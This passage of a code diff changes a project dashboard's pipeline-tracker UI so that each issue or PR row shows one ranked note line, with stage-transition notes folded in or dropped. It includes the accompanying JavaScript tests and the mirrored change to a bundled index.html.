vm.runInContext(fn('tracker-filter', 'stageTrackerPRIssueSlot'), c); + vm.runInContext(source('tracker-motion'), c); + vm.runInContext(source('tracker-human-attention'), c); + // Row chrome outside the note line is not under test. + vm.runInContext('stageTrackerCueClasses = () => ""; stageTrackerCueLineHtml = () => "";', c); + return c; +} +const NOW = 1_700_000_000_000; +const lines = html => html.match(/<p class="cue-event[^"]*"[^>]*>[\s\S]*?<\/p>/g) || []; +const ages = html => (html.match(/cue-event-age" data-at="(\d+)"/g) || []).length; + +// The screenshot: the reviewer's ask on the row plus the stage note that +// landed 3 min earlier, under a strip lit at Needs human decision. +function screenshotRow() { + const pr = { kind: 'pr', repo: 'hivecommons/hive', number: 16619, stage: 85, state: 'open', head: 'h16619', + url: 'https://github.com/hivecommons/hive/pull/16619', title: 'fix', base_ref: 'v5', + human_attention: { kind: 'pr', number: 16619, head: 'h16619', asked_by: 'a reviewer', + reason: '@clubanderson should decide whether #16619 or your own #16622 lands for #16617 β€” both close the same issue' }, + stage_actor: { kind: 'human', login: 'clubanderson', why: 'decide which PR lands' } }; + const item = { kind: 'issue', repo: 'hivecommons/hive', number: 16617, stage: 85, mirrored: true, linked_pr: 16619, + title: 'Fleet relaunch', linked_prs: [pr], url: 'https://github.com/hivecommons/hive/issues/16617', stage_actor: pr.stage_actor }; + const events = { 'hivecommons/hive/issue#16617': { who: 'hive', text: 'moved to Needs human decision', at: NOW - 180000, openAt: NOW - 180000 } }; + return { item, events }; +} + +test('needs-human ask + stage note β†’ one line, the chevron restatement dropped, View PR and one age kept', () => { + const c = load(), { item, events } = screenshotRow(); + const html = c.stageTrackerRowHtml(item, STAGES, { nowMs: NOW, events, noteTuck: true }); + const found = lines(html); + assert.equal(found.length, 1, html); + const line = found[0]; + assert.match(line, /ham-human-context/); + assert.match(line, /cue-event-ico/, 'keeps its ⬑ icon'); + assert.match(line, /Needs human: @clubanderson should decide whether #16619 or your own #16622 lands for #16617/); + assert.match(line, /Β· requested by a reviewer <a[^>]*>View PR #16619<\/a>/); + assert.doesNotMatch(line, /moved to Needs human decision/, 'the lit chevron already reads Needs human decision'); + assert.doesNotMatch(html, /cue-event-who/, 'no second "Hive:" line'); + assert.equal(ages(line), 1, 'one relative timestamp'); +}); + +test('a stage note that says more than the chevron rides the human line as a trailing clause', () => { + const c = load(), { item, events } = screenshotRow(); + events['hivecommons/hive/issue#16617'].text = 'fell back to Needs human decision β€” reviewers split on the approach'; + const html = c.stageTrackerRowHtml(item, STAGES, { nowMs: NOW, events, noteTuck: true }); + const found = lines(html); + assert.equal(found.length, 1); + assert.match(found[0], /View PR #16619<\/a> Β· fell back to Needs human decision β€” reviewers split on the approach/); + assert.equal(ages(found[0]), 1); +}); + +test('a row with only a stage note still shows exactly one line, the hive note itself', () => { + const c = load(); + const item = { kind: 'issue', repo: 'hivecommons/hive', number: 16630, stage: 50, title: 'solo', state: 'open', + url: 'https://github.com/hivecommons/hive/issues/16630', linked_prs: [], stage_actor: { kind: 'hive' } }; + const events = { 'hivecommons/hive/issue#16630': { who: 'hive', text: 'moved to CI / Review', at: NOW - 5000 } }; + const html = c.stageTrackerRowHtml(item, STAGES, { nowMs: NOW, events, noteTuck: true }); + const found = lines(html); + assert.equal(found.length, 1, html); + assert.match(found[0], /cue-event-who">Hive:<\/span> <span class="cue-event-text">moved to CI \/ Review/); + assert.doesNotMatch(html, /ham-human-context/); +}); + +test('remediation next move + stage note β†’ one line with the move first and the note folded', () => { + const c = load(); + const item = { kind: 'pr', repo: 'hivecommons/hive', number: 16640, stage: 50, state: 'open', head: 'h', title: 'pr', + url: 'https://github.com/hivecommons/hive/pull/16640', base_ref: 'v5', + stage_actor: { kind: 'human', login: 'author', why: '@author must push a fix; the hive does not edit a person’s PR' } }; + const events = { 'hivecommons/hive/pr#16640': { who: 'hive', text: 'needs a rebase', at: NOW - 60000 } }; + const html = c.stageTrackerRowHtml(item, STAGES, { nowMs: NOW, events, noteTuck: true }); + const found = lines(html); + assert.equal(found.length, 1, html); + assert.match(found[0], /Next move: @author β€” @author must push a fix; the hive does not edit a person’s PR Β· needs a rebase/); + assert.doesNotMatch(html, /cue-event-who/); + assert.equal(ages(found[0]), 1); +}); + +test('PR sub-rows under an issue follow the same one-line rule', () => { + const c = load(), { item, events } = screenshotRow(); + // Two covering PRs: the asking one is drawn as a sub-row with its own note. + const other = { kind: 'pr', repo: 'hivecommons/hive', number: 16622, stage: 50, state: 'open', head: 'h2', title: 'mine', + url: 'https://github.com/hivecommons/hive/pull/16622', base_ref: 'v5', stage_actor: { kind: 'hive' } }; + item.linked_prs.push(other); item.mirrored = false; item.stage = 40; + events['hivecommons/hive/pr#16619'] = { who: 'hive', text: 'moved to Needs human decision', at: NOW - 180000 }; + const html = c.stageTrackerRowHtml(item, STAGES, { nowMs: NOW, events, noteTuck: true }); + const sub = html.slice(html.indexOf('data-ham-sub-key="hivecommons/hive/pr#16619"'), html.indexOf('data-ham-sub-key="hivecommons/hive/pr#16622"')); + const found = lines(sub); + assert.equal(found.length, 1, sub); + assert.match(found[0], /Needs human: @clubanderson should decide/); + assert.doesNotMatch(found[0], /moved to Needs human decision/); +}); + +test('stage-note fold rules: restatements of the line or the lit chevron are dropped, new facts kept', () => { + const c = load(); + const item = { kind: 'pr', number: 1, repo: 'r', stage: 85 }; + assert.equal(c.stageTrackerNoteFoldText('moved to Needs human decision', 'Needs human: x', item, STAGES), ''); + assert.equal(c.stageTrackerNoteFoldText('waiting on a decision', 'PR #1 β€” Needs human: x', item, STAGES), ''); + assert.equal(c.stageTrackerNoteFoldText('Confirm the policy', 'Needs human: Confirm the policy', item, STAGES), ''); + assert.equal(c.stageTrackerNoteFoldText('moved to CI / Review', 'Needs human: x', item, STAGES), 'moved to CI / Review'); + assert.equal(c.stageTrackerNoteFoldText('moved to Needs human decision β€” why', 'Needs human: x', item, STAGES), 'moved to Needs human decision β€” why'); + assert.equal(c.stageTrackerNoteFoldText('moved to Needs human decision', 'Needs human: x', { kind: 'pr', number: 1, repo: 'r', stage: 85 }, []), 'moved to Needs human decision', 'no stage table: keep it'); +}); diff --git a/src/pkg/dashboard/static-src/js/tracker-human-attention.js b/src/pkg/dashboard/static-src/js/tracker-human-attention.js index c6e8e127a1..576cfa52d3 100644 --- a/src/pkg/dashboard/static-src/js/tracker-human-attention.js +++ b/src/pkg/dashboard/static-src/js/tracker-human-attention.js @@ -130,29 +130,55 @@ } return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; } - function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { + /* ---- One note line per row ----------------------------------------- + Owner (2026-11-05): "we don't need 2 hive comments β€” there should + always be only one." A row used to stack its "Needs human: …" line + over the "Hive: moved to …" stage note. Now every candidate is + ranked β€” needs-human / decision (0) > blocker (1) > next move / + claim (2) > optional delegation (3) > stage-transition note (4) β€” + and the row renders the winner alone. Same-rank human asks (an + issue's and its PR's) share the line, " Β· " apart, each with its + View link. A lower line's facts ride along as a trailing clause + only when they say something the row does not already: a stage + note that merely restates the lit chevron ("moved to Needs human + decision" under a strip lit at Needs human decision) is dropped. */ + const STAGE_TRACKER_NOTE_RANK_HUMAN = 0; + const STAGE_TRACKER_NOTE_RANK_BLOCKER = 1; + const STAGE_TRACKER_NOTE_RANK_NEXT = 2; + const STAGE_TRACKER_NOTE_RANK_OPTIONAL = 3; + // Mod-change words (tracker-motion) a "Needs human:" line already says. + const STAGE_TRACKER_NOTE_HUMAN_RESTATES = ['waiting on a person', 'waiting on a decision']; + function stageTrackerNoteRankOf(text) { + const t = String(text || ''); + if (/(^|β€” )Needs human:|decision context unavailable/.test(t)) return STAGE_TRACKER_NOTE_RANK_HUMAN; + if (/Current blocker:/.test(t)) return STAGE_TRACKER_NOTE_RANK_BLOCKER; + if (/^Optional delegation:/.test(t)) return STAGE_TRACKER_NOTE_RANK_OPTIONAL; + return STAGE_TRACKER_NOTE_RANK_NEXT; + } + // Pure: the candidate human lines for the row, each { body, text, rank }. + function stageTrackerHumanContextEntries(item, stages, nowMs, subRows) { const required = stageTrackerHumanContextOf(item, stages, subRows); - const lines = required.map(entry => { - const it = entry.item; + const entry = (body, text) => ({ body, text, rank: stageTrackerNoteRankOf(text) }); + const lines = required.map(e => { + const it = e.item; const href = it.url || item.url; const view = href ? 'View ' + (it.kind === 'pr' ? 'PR' : 'issue') + ' #' + Number(it.number) : ''; - const body = esc(entry.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''); - return stageTrackerHumanContextLine(item, body, entry.text + (view ? ' Β· ' + view : ''), nowMs); + return entry(esc(e.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''), e.text + (view ? ' Β· ' + view : '')); }); - if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines.join(''); + if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines; const stale = item.human_attention && !stageTrackerHumanAttentionOf(item); const staleLinks = item.kind === 'issue' ? (item.linked_prs || []).filter(lp => stageTrackerLinkedPROpen(lp, item) && lp.human_attention && !stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp))) : []; if (stale || staleLinks.length) { const refs = staleLinks.length ? staleLinks.map(lp => 'PR #' + lp.number).join(', ') : item.kind === 'pr' ? 'PR #' + item.number : 'Issue #' + item.number; const text = refs + ' Β· decision context unavailable for the displayed identity/head'; - return stageTrackerHumanContextLine(item, esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text, nowMs); + return [entry(esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text)]; } const linked = item.kind === 'issue' ? stageTrackerLinkedSorted(item, stages) : []; if (linked.length > 1 || item.kind === 'issue' && (item.linked_prs || []).some(lp => - stageTrackerLinkedPROpen(lp, item) && stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp)))) return ''; + stageTrackerLinkedPROpen(lp, item) && stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp)))) return []; const mods = Array.isArray(item.modifiers) ? item.modifiers : []; - if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged') || item.superseded_by) return ''; + if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged') || item.superseded_by) return []; const actor = item.stage_actor; const actorHuman = actor && (actor.kind === 'human' || actor.kind === 'maintainer'); const claimant = item.claimant; @@ -163,10 +189,10 @@ const prNumber = item.kind === 'issue' && (item.linked_pr || ((item.linked_prs || []).length === 1 && item.linked_prs[0].number)); const target = prNumber ? ' on PR #' + prNumber : ''; const text = 'Next move: ' + who + target + (actor.why ? ' β€” ' + actor.why : ' Β· action reason unavailable'); - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } else if (claimant && claimant.kind === 'person' && claimant.login) { const text = 'Claimed by @' + claimant.login + ' Β· claim ownership, not a human decision request'; - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } if (typeof stageTrackerLeadActionOnRow === 'function' && typeof stageTrackerActionCtx === 'function') { const ctx = stageTrackerActionCtx(item.repo); @@ -176,9 +202,60 @@ const action = stageTrackerLeadActionOnRow(item, ctx, subRows); if (action && (action.id === 'decide:delegate' || action.id === 'decide:delegate-all')) { const text = 'Optional delegation: Let hive decide is available; it does not itself mean human input is required.'; - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } } } - return lines.join(''); + return lines; + } + // Pure: the row's current stage as the chevron names it ('' unknown). + function stageTrackerNoteStageName(item, stages) { + if (!item) return ''; + const sg = (Array.isArray(stages) ? stages : []).find(x => Number(x.number) === (Number(item.stage) || 0)); + if (typeof stageTrackerStageName === 'function') return stageTrackerStageName(sg) || stageTrackerStageName({ label: item.stage_label || '', short: '' }); + return sg ? String(sg.short || sg.label || '') : String(item.stage_label || ''); + } + // Pure: the stage note's words worth keeping under a human line, or + // '' when the line (or the lit chevron) already says it. + function stageTrackerNoteFoldText(evText, lineText, item, stages) { + const t = String(evText || '').trim(); + if (!t) return ''; + const line = String(lineText || '').toLowerCase(); + if (line.indexOf(t.toLowerCase()) >= 0) return ''; + if (/needs human:/i.test(line) && STAGE_TRACKER_NOTE_HUMAN_RESTATES.indexOf(t) >= 0) return ''; + const m = /^(?:moved to|fell back to) (.+)$/.exec(t); + if (m) { + const name = stageTrackerNoteStageName(item, stages).toLowerCase(); + const said = m[1].split(' β€” ')[0].trim().toLowerCase(); + if (name && said === name && m[1].indexOf(' β€” ') < 0) return ''; + } + return t; + } + // ctx / key (the row's events map and its key) let the human line + // absorb the row's stage note so the row shows one line, not two. + function stageTrackerHumanContextHtml(item, stages, nowMs, subRows, ctx, key) { + let entries = stageTrackerHumanContextEntries(item, stages, nowMs, subRows); + if (!entries.length) return ''; + const best = Math.min.apply(null, entries.map(e => e.rank)); + // "Let hive decide is available" is a control the row shows anyway; + // it only earns the line when nothing else wants it. + if (best < STAGE_TRACKER_NOTE_RANK_OPTIONAL) entries = entries.filter(e => e.rank < STAGE_TRACKER_NOTE_RANK_OPTIONAL); + entries.sort((a, b) => a.rank - b.rank); + let body = entries.map(e => e.body).join(' Β· '); + let text = entries.map(e => e.text).join(' Β· '); + const ev = ctx && ctx.events && key ? ctx.events[key] : null; + const fold = ev ? stageTrackerNoteFoldText(ev.text, text, item, stages) : ''; + if (fold) { + const who = ev.who === 'you' ? 'You: ' : ev.who === 'merge' ? 'Merge: ' : ''; + body += ' Β· ' + esc(who + fold); text += ' Β· ' + who + fold; + } + return stageTrackerHumanContextLine(item, body, text, nowMs); + } + // Pure: ctx without the row's stage note once the human line has + // taken it (folded or dropped), so the event slot stays empty. + function stageTrackerNoteTakenCtx(ctx, key) { + if (!ctx || !ctx.events || !key || !ctx.events[key]) return ctx; + const events = Object.assign({}, ctx.events); + delete events[key]; + return Object.assign({}, ctx, { events }); } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-layout.js b/src/pkg/dashboard/static-src/js/tracker-row-layout.js index 58c86ab6f9..b4a6b966a6 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-layout.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-layout.js @@ -248,6 +248,9 @@ </div> </div>`; } + const subKey = stageTrackerItemKey(pr); + const humanNote = typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(pr, stages, nowMs, undefined, ctx, subKey) : ''; + const noteCtx = humanNote && typeof stageTrackerNoteTakenCtx === 'function' ? stageTrackerNoteTakenCtx(ctx, subKey) : ctx; return `<div class="ham-sub${typeof stageTrackerCueClasses === 'function' ? stageTrackerCueClasses(pr, ctx) : ''}${typeof stageTrackerPreparationRowClass === 'function' ? stageTrackerPreparationRowClass(pr, stages, ctx) : ''}" data-ham-kind="pr" data-ham-stage="${pr.stage}" data-ham-sub-key="${esc(stageTrackerItemKey(pr))}"> ${typeof stageTrackerRowToolsHtml === 'function' ? stageTrackerRowToolsHtml(pr) : ''} <div class="ham-row-head"> @@ -258,7 +261,7 @@ <ol class="ham-strip" aria-label="Pipeline progress"${stageTrackerMoveAttrs(stageTrackerItemKey(pr), ctx)}>${stageTrackerStripItems(pr, stages, { from: STAGE_TRACKER_PR_COLUMN }, nowMs, ctx)}</ol> ${stageTrackerSinceHtml(pr, nowMs)} </div> - ${typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(pr, stages, nowMs) : ''}${stageTrackerCurrentStageHtml(pr, stages, { from: STAGE_TRACKER_PR_COLUMN })}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(pr, ctx, stageTrackerItemKey(pr)) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(stageTrackerItemKey(pr), ctx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(pr) : ''} + ${humanNote}${stageTrackerCurrentStageHtml(pr, stages, { from: STAGE_TRACKER_PR_COLUMN })}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(pr, noteCtx, subKey) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(subKey, noteCtx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(pr) : ''} </div>`; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-render.js b/src/pkg/dashboard/static-src/js/tracker-row-render.js index 6c3b367f0c..8a24fb30e1 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-render.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-render.js @@ -159,6 +159,11 @@ const prs = typeof stageTrackerRowPRKeys === 'function' ? stageTrackerRowPRKeys(item) : ''; const trainKey = typeof stageTrackerTrainKey === 'function' ? stageTrackerTrainKey(item) : ''; if (typeof stageTrackerPreparationMark === 'function') stageTrackerPreparationMark(shown); + // One note line per row: the human line takes the stage note (folded + // or dropped), so the event slot below the caption renders nothing. + const rowKey = stageTrackerItemKey(item); + const humanNote = typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(item, stages, nowMs, subRows, ctx, rowKey) : ''; + const noteCtx = humanNote && typeof stageTrackerNoteTakenCtx === 'function' ? stageTrackerNoteTakenCtx(ctx, rowKey) : ctx; return `<div class="ham-row${typeof stageTrackerCueClasses === 'function' ? stageTrackerCueClasses(shown, ctx) : ''}${typeof stageTrackerTrainRowClass === 'function' ? stageTrackerTrainRowClass(item, ctx.prevRow || null, ctx.nextRow || null, ctx.trainIndex && trainKey ? ctx.trainIndex[trainKey] : undefined) : ''}${typeof stageTrackerPreparationRowClass === 'function' ? stageTrackerPreparationRowClass(item, stages, ctx) : ''}" tabindex="0" data-ham-kind="${esc(item.kind)}" data-ham-repo="${esc(item.repo || '')}" data-ham-stage="${Number(item.stage) || 0}"${prs ? ` data-ham-prs="${esc(prs)}"` : ''}${trainKey ? ` data-ham-train="${esc(trainKey)}"` : ''}> ${stageTrackerRowToolsHtml(item)} <div class="ham-row-head"> @@ -168,7 +173,7 @@ ${typeof stageTrackerPreparationNodeHtml === 'function' ? stageTrackerPreparationNodeHtml(item, stages, ctx) : ''} <ol class="ham-strip" aria-label="Pipeline progress"${stageTrackerMoveAttrs(stageTrackerItemKey(item), ctx)}>${stageTrackerStripItems(shown, stages, range, nowMs, ctx)}</ol> ${stageTrackerSinceHtml(shown, nowMs)} - </div>${typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(item, stages, nowMs, subRows) : ''}${stageTrackerCurrentStageHtml(shown, stages, range, nowMs)}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(shown, ctx, stageTrackerItemKey(item)) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(stageTrackerItemKey(item), ctx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(shown) : ''}${typeof stageTrackerReviewNotesHtml === 'function' ? stageTrackerReviewNotesHtml(item, ctx) : ''}${subs} + </div>${humanNote}${stageTrackerCurrentStageHtml(shown, stages, range, nowMs)}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(shown, noteCtx, rowKey) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(rowKey, noteCtx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(shown) : ''}${typeof stageTrackerReviewNotesHtml === 'function' ? stageTrackerReviewNotesHtml(item, ctx) : ''}${subs} </div>`; } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 0105abcc3d..ba8b3295a2 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -19014,29 +19014,55 @@ <h3 class="faq-group-title">Where to get help</h3> } return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; } - function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { + /* ---- One note line per row ----------------------------------------- + Owner (2026-11-05): "we don't need 2 hive comments β€” there should + always be only one." A row used to stack its "Needs human: …" line + over the "Hive: moved to …" stage note. Now every candidate is + ranked β€” needs-human / decision (0) > blocker (1) > next move / + claim (2) > optional delegation (3) > stage-transition note (4) β€” + and the row renders the winner alone. Same-rank human asks (an + issue's and its PR's) share the line, " Β· " apart, each with its + View link. A lower line's facts ride along as a trailing clause + only when they say something the row does not already: a stage + note that merely restates the lit chevron ("moved to Needs human + decision" under a strip lit at Needs human decision) is dropped. */ + const STAGE_TRACKER_NOTE_RANK_HUMAN = 0; + const STAGE_TRACKER_NOTE_RANK_BLOCKER = 1; + const STAGE_TRACKER_NOTE_RANK_NEXT = 2; + const STAGE_TRACKER_NOTE_RANK_OPTIONAL = 3; + // Mod-change words (tracker-motion) a "Needs human:" line already says. + const STAGE_TRACKER_NOTE_HUMAN_RESTATES = ['waiting on a person', 'waiting on a decision']; + function stageTrackerNoteRankOf(text) { + const t = String(text || ''); + if (/(^|β€” )Needs human:|decision context unavailable/.test(t)) return STAGE_TRACKER_NOTE_RANK_HUMAN; + if (/Current blocker:/.test(t)) return STAGE_TRACKER_NOTE_RANK_BLOCKER; + if (/^Optional delegation:/.test(t)) return STAGE_TRACKER_NOTE_RANK_OPTIONAL; + return STAGE_TRACKER_NOTE_RANK_NEXT; + } + // Pure: the candidate human lines for the row, each { body, text, rank }. + function stageTrackerHumanContextEntries(item, stages, nowMs, subRows) { const required = stageTrackerHumanContextOf(item, stages, subRows); - const lines = required.map(entry => { - const it = entry.item; + const entry = (body, text) => ({ body, text, rank: stageTrackerNoteRankOf(text) }); + const lines = required.map(e => { + const it = e.item; const href = it.url || item.url; const view = href ? 'View ' + (it.kind === 'pr' ? 'PR' : 'issue') + ' #' + Number(it.number) : ''; - const body = esc(entry.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''); - return stageTrackerHumanContextLine(item, body, entry.text + (view ? ' Β· ' + view : ''), nowMs); + return entry(esc(e.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''), e.text + (view ? ' Β· ' + view : '')); }); - if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines.join(''); + if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines; const stale = item.human_attention && !stageTrackerHumanAttentionOf(item); const staleLinks = item.kind === 'issue' ? (item.linked_prs || []).filter(lp => stageTrackerLinkedPROpen(lp, item) && lp.human_attention && !stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp))) : []; if (stale || staleLinks.length) { const refs = staleLinks.length ? staleLinks.map(lp => 'PR #' + lp.number).join(', ') : item.kind === 'pr' ? 'PR #' + item.number : 'Issue #' + item.number; const text = refs + ' Β· decision context unavailable for the displayed identity/head'; - return stageTrackerHumanContextLine(item, esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text, nowMs); + return [entry(esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text)]; } const linked = item.kind === 'issue' ? stageTrackerLinkedSorted(item, stages) : []; if (linked.length > 1 || item.kind === 'issue' && (item.linked_prs || []).some(lp => - stageTrackerLinkedPROpen(lp, item) && stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp)))) return ''; + stageTrackerLinkedPROpen(lp, item) && stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp)))) return []; const mods = Array.isArray(item.modifiers) ? item.modifiers : []; - if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged') || item.superseded_by) return ''; + if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged') || item.superseded_by) return []; const actor = item.stage_actor; const actorHuman = actor && (actor.kind === 'human' || actor.kind === 'maintainer'); const claimant = item.claimant; @@ -19047,10 +19073,10 @@ <h3 class="faq-group-title">Where to get help</h3> const prNumber = item.kind === 'issue' && (item.linked_pr || ((item.linked_prs || []).length === 1 && item.linked_prs[0].number)); const target = prNumber ? ' on PR #' + prNumber : ''; const text = 'Next move: ' + who + target + (actor.why ? ' β€” ' + actor.why : ' Β· action reason unavailable'); - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } else if (claimant && claimant.kind === 'person' && claimant.login) { const text = 'Claimed by @' + claimant.login + ' Β· claim ownership, not a human decision request'; - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } if (typeof stageTrackerLeadActionOnRow === 'function' && typeof stageTrackerActionCtx === 'function') { const ctx = stageTrackerActionCtx(item.repo); @@ -19060,11 +19086,62 @@ <h3 class="faq-group-title">Where to get help</h3> const action = stageTrackerLeadActionOnRow(item, ctx, subRows); if (action && (action.id === 'decide:delegate' || action.id === 'decide:delegate-all')) { const text = 'Optional delegation: Let hive decide is available; it does not itself mean human input is required.'; - lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); + lines.push(entry(esc(text), text)); } } } - return lines.join(''); + return lines; + } + // Pure: the row's current stage as the chevron names it ('' unknown). + function stageTrackerNoteStageName(item, stages) { + if (!item) return ''; + const sg = (Array.isArray(stages) ? stages : []).find(x => Number(x.number) === (Number(item.stage) || 0)); + if (typeof stageTrackerStageName === 'function') return stageTrackerStageName(sg) || stageTrackerStageName({ label: item.stage_label || '', short: '' }); + return sg ? String(sg.short || sg.label || '') : String(item.stage_label || ''); + } + // Pure: the stage note's words worth keeping under a human line, or + // '' when the line (or the lit chevron) already says it. + function stageTrackerNoteFoldText(evText, lineText, item, stages) { + const t = String(evText || '').trim(); + if (!t) return ''; + const line = String(lineText || '').toLowerCase(); + if (line.indexOf(t.toLowerCase()) >= 0) return ''; + if (/needs human:/i.test(line) && STAGE_TRACKER_NOTE_HUMAN_RESTATES.indexOf(t) >= 0) return ''; + const m = /^(?:moved to|fell back to) (.+)$/.exec(t); + if (m) { + const name = stageTrackerNoteStageName(item, stages).toLowerCase(); + const said = m[1].split(' β€” ')[0].trim().toLowerCase(); + if (name && said === name && m[1].indexOf(' β€” ') < 0) return ''; + } + return t; + } + // ctx / key (the row's events map and its key) let the human line + // absorb the row's stage note so the row shows one line, not two. + function stageTrackerHumanContextHtml(item, stages, nowMs, subRows, ctx, key) { + let entries = stageTrackerHumanContextEntries(item, stages, nowMs, subRows); + if (!entries.length) return ''; + const best = Math.min.apply(null, entries.map(e => e.rank)); + // "Let hive decide is available" is a control the row shows anyway; + // it only earns the line when nothing else wants it. + if (best < STAGE_TRACKER_NOTE_RANK_OPTIONAL) entries = entries.filter(e => e.rank < STAGE_TRACKER_NOTE_RANK_OPTIONAL); + entries.sort((a, b) => a.rank - b.rank); + let body = entries.map(e => e.body).join(' Β· '); + let text = entries.map(e => e.text).join(' Β· '); + const ev = ctx && ctx.events && key ? ctx.events[key] : null; + const fold = ev ? stageTrackerNoteFoldText(ev.text, text, item, stages) : ''; + if (fold) { + const who = ev.who === 'you' ? 'You: ' : ev.who === 'merge' ? 'Merge: ' : ''; + body += ' Β· ' + esc(who + fold); text += ' Β· ' + who + fold; + } + return stageTrackerHumanContextLine(item, body, text, nowMs); + } + // Pure: ctx without the row's stage note once the human line has + // taken it (folded or dropped), so the event slot stays empty. + function stageTrackerNoteTakenCtx(ctx, key) { + if (!ctx || !ctx.events || !key || !ctx.events[key]) return ctx; + const events = Object.assign({}, ctx.events); + delete events[key]; + return Object.assign({}, ctx, { events }); } // Ghost strip for a title line: the lead cell (Open..Claimed) carries @@ -19316,6 +19393,9 @@ <h3 class="faq-group-title">Where to get help</h3> </div> </div>`; } + const subKey = stageTrackerItemKey(pr); + const humanNote = typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(pr, stages, nowMs, undefined, ctx, subKey) : ''; + const noteCtx = humanNote && typeof stageTrackerNoteTakenCtx === 'function' ? stageTrackerNoteTakenCtx(ctx, subKey) : ctx; return `<div class="ham-sub${typeof stageTrackerCueClasses === 'function' ? stageTrackerCueClasses(pr, ctx) : ''}${typeof stageTrackerPreparationRowClass === 'function' ? stageTrackerPreparationRowClass(pr, stages, ctx) : ''}" data-ham-kind="pr" data-ham-stage="${pr.stage}" data-ham-sub-key="${esc(stageTrackerItemKey(pr))}"> ${typeof stageTrackerRowToolsHtml === 'function' ? stageTrackerRowToolsHtml(pr) : ''} <div class="ham-row-head"> @@ -19326,7 +19406,7 @@ <h3 class="faq-group-title">Where to get help</h3> <ol class="ham-strip" aria-label="Pipeline progress"${stageTrackerMoveAttrs(stageTrackerItemKey(pr), ctx)}>${stageTrackerStripItems(pr, stages, { from: STAGE_TRACKER_PR_COLUMN }, nowMs, ctx)}</ol> ${stageTrackerSinceHtml(pr, nowMs)} </div> - ${typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(pr, stages, nowMs) : ''}${stageTrackerCurrentStageHtml(pr, stages, { from: STAGE_TRACKER_PR_COLUMN })}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(pr, ctx, stageTrackerItemKey(pr)) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(stageTrackerItemKey(pr), ctx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(pr) : ''} + ${humanNote}${stageTrackerCurrentStageHtml(pr, stages, { from: STAGE_TRACKER_PR_COLUMN })}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(pr, noteCtx, subKey) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(subKey, noteCtx) : ''}${typeof 